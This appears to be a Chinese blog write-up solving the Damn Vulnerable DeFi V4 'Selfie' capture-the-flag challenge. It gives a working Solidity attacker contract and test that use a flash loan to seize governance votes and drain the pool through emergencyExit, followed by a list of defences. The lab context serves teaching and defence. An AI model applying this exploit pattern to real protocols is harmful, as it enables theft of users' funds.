Damn-vulnerable-defi-V4-solution(Selfie)
一、Selfie
背景:有一个提供闪电贷功能的pool。该pool还设有紧急出口,可通过governance合约执行。该governance合约具有queueAction和executeAction功能。如果调用者获得超过半数的投票,则可以将(调用任意目标地址)的行为加入队列。成功加入队列的操作在等待两天后即可由任何人执行。
governance系统通过 ERC20 投票实现,即投票数以每个持有者持有的代币数量为准。要获得投票权,必须进行委托操作并且可以委托给自己。
该pool拥有 1,500,000e18 ERC20Votes 代币。总共有 2,000,000e18 代币。
攻击思路:
我们部署一个attacker合约,该合约通过闪电贷借入所有代币,并将投票委托给自己。由于代币在委托后会被返还,因此我们暂时拥有 75% 的投票权。然后,我们将一个调用emergencyExit该池的操作加入队列(由于我们拥有超过一半的投票权,因此允许这样做)。最后,等待 2 天后,我们执行队列中的操作并转移资金。
contract Attacker {
uint256 constant TOKENS_IN_POOL = 1_500_000e18;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
SelfiePool pool;
IERC20 token;
SimpleGovernance governance;
address recovery;
address player;
constructor(SelfiePool _pool, address _recovery, address _player) {
pool = _pool;
token = pool.token();
governance = pool.governance();
recovery = _recovery;
player = _player;
}
function onFlashLoan(address, address, uint256 amount, uint256, bytes calldata) external returns (bytes32) {
DamnValuableVotes(address(token)).delegate(address(this));
governance.queueAction(address(pool), 0, abi.encodeCall(pool.emergencyExit, (recovery)));
token.approve(msg.sender, amount);
return CALLBACK_SUCCESS;
}
function attack() external {
pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), TOKENS_IN_POOL, "");
}
}
function test_selfie() public checkSolvedByPlayer {
Attacker attacker = new Attacker(pool, recovery, player);
attacker.attack();
vm.warp(block.timestamp + 2 days);
governance.executeAction(1);
}由于 SelfiePool 的实现是:它会在 onFlashLoan 调用完成后,自己调用 transferFrom,从借款人(也就是攻击合约)那里扣回借出去的代币,Attacker合约必须在 onFlashLoan 里执行:token.approve(msg.sender, amount);
避免这种攻击的常见方法
✅ 1. 使用 Snapshot 阻止闪电贷投票
很多治理代币(例如 COMP、UNI)要求在 proposal 创建时 或 投票时,必须参考一个 过去区块的快照(snapshot block)。
- 意义:投票权不是用当前余额,而是用某个固定的历史区块的余额。
- 这样攻击者即使闪电贷借了代币,当前区块委托也没用,因为投票权参考的还是之前区块(攻击前他们没票)。
在 OpenZeppelin 的 Governor 里就是这么设计的,默认用 getPastVotes(account, blockNumber)。
✅ 2. 设置治理延迟 (governance delay)
即使有了投票权,也不能立刻执行。
- Proposal 创建 → 投票期 → Timelock → 执行。
- Timelock 可以是 1 天、2 天甚至更久。
- 攻击者用闪电贷只能在一个交易里完成借款和还款,无法跨天保持治理权。
✅ 3. 禁止治理代币用于闪电贷
SelfiePool 把治理代币放在池子里,还提供了闪电贷功能,本身就很危险。
- 解决方法:治理代币不应当被闪电贷借出,或者闪电贷代币只允许稳定币、流动性代币,而不是治理代币。
- 如果确实要借治理代币,可以在合约里显式禁止:
require(address(token) != governanceToken, "Governance token cannot be flash loaned");✅ 4. 在治理逻辑里校验“投票权的稳定性”
比如:
- 要求代币持有 超过 X 个区块/时间 才有投票权。
- 或者在提案时检查,投票权是否来自稳定持仓,而不是闪电贷瞬时余额。
要避免这种攻击,常见防御手段有:
- 投票权基于过去快照区块(最常见 & 主流做法);
- 治理延迟 + Timelock,避免立刻生效;
- 治理代币不能提供闪电贷;
- 要求持币时长,防止瞬时治理。
当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »